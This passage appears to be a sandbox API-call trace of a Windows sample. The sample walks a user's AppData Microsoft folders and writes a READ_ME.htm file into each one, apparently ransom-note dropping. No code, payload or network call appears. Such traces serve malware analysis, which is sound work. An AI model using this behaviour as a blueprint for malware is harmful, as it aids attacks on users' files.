ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.433] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.433] SetErrorMode (uMode=0x0) returned 0x1 [0149.433] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3f [0149.433] SetErrorMode (uMode=0x1) returned 0x0 [0149.433] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.434] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.434] SetErrorMode (uMode=0x0) returned 0x1 [0149.434] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x42 [0149.434] SetErrorMode (uMode=0x1) returned 0x0 [0149.434] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\my\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795d9e30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.434] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.435] SetErrorMode (uMode=0x0) returned 0x1 [0149.435] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x42 [0149.435] SetErrorMode (uMode=0x1) returned 0x0 [0149.435] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\my\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795d9e30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.435] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.435] SetErrorMode (uMode=0x0) returned 0x1 [0149.435] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x4f [0149.436] SetErrorMode (uMode=0x1) returned 0x0 [0149.436] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795d9e30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.436] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.437] SetErrorMode (uMode=0x0) returned 0x1 [0149.437] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x4f [0149.437] SetErrorMode (uMode=0x1) returned 0x0 [0149.437] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795d9e30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795d9e30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.437] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.437] SetErrorMode (uMode=0x0) returned 0x1 [0149.437] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\READ_ME.htm", lpFilePart=0x0) returned 0x5b [0149.437] SetErrorMode (uMode=0x1) returned 0x0 [0149.438] SetErrorMode (uMode=0x0) returned 0x1 [0149.438] GetFileType (hFile=0x1d0) returned 0x1 [0149.438] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a30ab8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2a30ab8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0149.440] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x47 [0149.440] SetErrorMode (uMode=0x1) returned 0x0 [0149.440] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.440] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.440] SetErrorMode (uMode=0x0) returned 0x1 [0149.440] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x47 [0149.441] SetErrorMode (uMode=0x1) returned 0x0 [0149.441] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.441] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.441] SetErrorMode (uMode=0x0) returned 0x1 [0149.441] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\READ_ME.htm", lpFilePart=0x0) returned 0x53 [0149.441] SetErrorMode (uMode=0x1) returned 0x0 [0149.442] SetErrorMode (uMode=0x0) returned 0x1 [0149.442] GetFileType (hFile=0x1d0) returned 0x1 [0149.442] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a369f0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2a369f0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0149.443] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x47 [0149.443] SetErrorMode (uMode=0x1) returned 0x0 [0149.443] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.444] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.444] SetErrorMode (uMode=0x0) returned 0x1 [0149.444] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x47 [0149.444] SetErrorMode (uMode=0x1) returned 0x0 [0149.444] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x795b3cd0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795b3cd0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.445] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.445] SetErrorMode (uMode=0x0) returned 0x1 [0149.445] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\READ_ME.htm", lpFilePart=0x0) returned 0x53 [0149.445] SetErrorMode (uMode=0x1) returned 0x0 [0149.445] SetErrorMode (uMode=0x0) returned 0x1 [0149.446] GetFileType (hFile=0x1d0) returned 0x1 [0149.446] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a3c928*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2a3c928*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0149.447] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\READ_ME.htm", lpFilePart=0x0) returned 0x4e [0149.447] SetErrorMode (uMode=0x1) returned 0x0 [0149.451] SetErrorMode (uMode=0x0) returned 0x1 [0149.451] GetFileType (hFile=0x1d0) returned 0x1 [0149.457] WriteFile (in: hFile=0x1d0, lpBuffer=0x2837358*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2837358*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0149.459] CloseHandle (hObject=0x1d0) returned 1 [0149.459] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\READ_ME.htm", lpFilePart=0x0) returned 0x4b [0149.459] SetErrorMode (uMode=0x1) returned 0x0 [0149.459] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\SystemCertificates\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\systemcertificates\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.460] GetFileType (hFile=0x1d0) returned 0x1 [0149.460] SetErrorMode (uMode=0x0) returned 0x1 [0149.460] GetFileType (hFile=0x1d0) returned 0x1 [0149.460] WriteFile (in: hFile=0x1d0, lpBuffer=0x283b948*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x283b948*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.461] CloseHandle (hObject=0x1d0) returned 1 [0149.462] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates", lpFilePart=0x0) returned 0x36 [0149.462] SetErrorMode (uMode=0x1) returned 0x0 [0149.462] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\templates\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.463] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.463] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b354e30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b354e30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b4aba90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x4615, dwReserved0=0x0, dwReserved1=0x0, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 1 [0149.463] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b354e30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b354e30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b4aba90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x4615, dwReserved0=0x0, dwReserved1=0x0, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 0 [0149.463] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.463] SetErrorMode (uMode=0x0) returned 0x1 [0149.464] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates", lpFilePart=0x0) returned 0x36 [0149.464] SetErrorMode (uMode=0x1) returned 0x0 [0149.464] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\templates\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x21509730, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3e1d8b20, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x3e1d8b20, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b354e30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b354e30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b4aba90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x4615, dwReserved0=0x0, dwReserved1=0x0, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 1 [0149.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b354e30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b354e30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b4aba90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x4615, dwReserved0=0x0, dwReserved1=0x0, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 0 [0149.465] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.465] SetErrorMode (uMode=0x0) returned 0x1 [0149.465] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates\\READ_ME.htm", lpFilePart=0x0) returned 0x42 [0149.465] SetErrorMode (uMode=0x1) returned 0x0 [0149.465] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Templates\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\templates\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.466] GetFileType (hFile=0x1d0) returned 0x1 [0149.466] SetErrorMode (uMode=0x0) returned 0x1 [0149.466] GetFileType (hFile=0x1d0) returned 0x1 [0149.466] WriteFile (in: hFile=0x1d0, lpBuffer=0x2841c88*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2841c88*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.467] CloseHandle (hObject=0x1d0) returned 1 [0149.468] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof", lpFilePart=0x0) returned 0x33 [0149.468] SetErrorMode (uMode=0x1) returned 0x0 [0149.468] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\uproof\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426e0920, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 1 [0149.469] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426e0920, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 0 [0149.469] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.469] SetErrorMode (uMode=0x0) returned 0x1 [0149.469] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof", lpFilePart=0x0) returned 0x33 [0149.469] SetErrorMode (uMode=0x1) returned 0x0 [0149.469] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof\\*" (normalized: 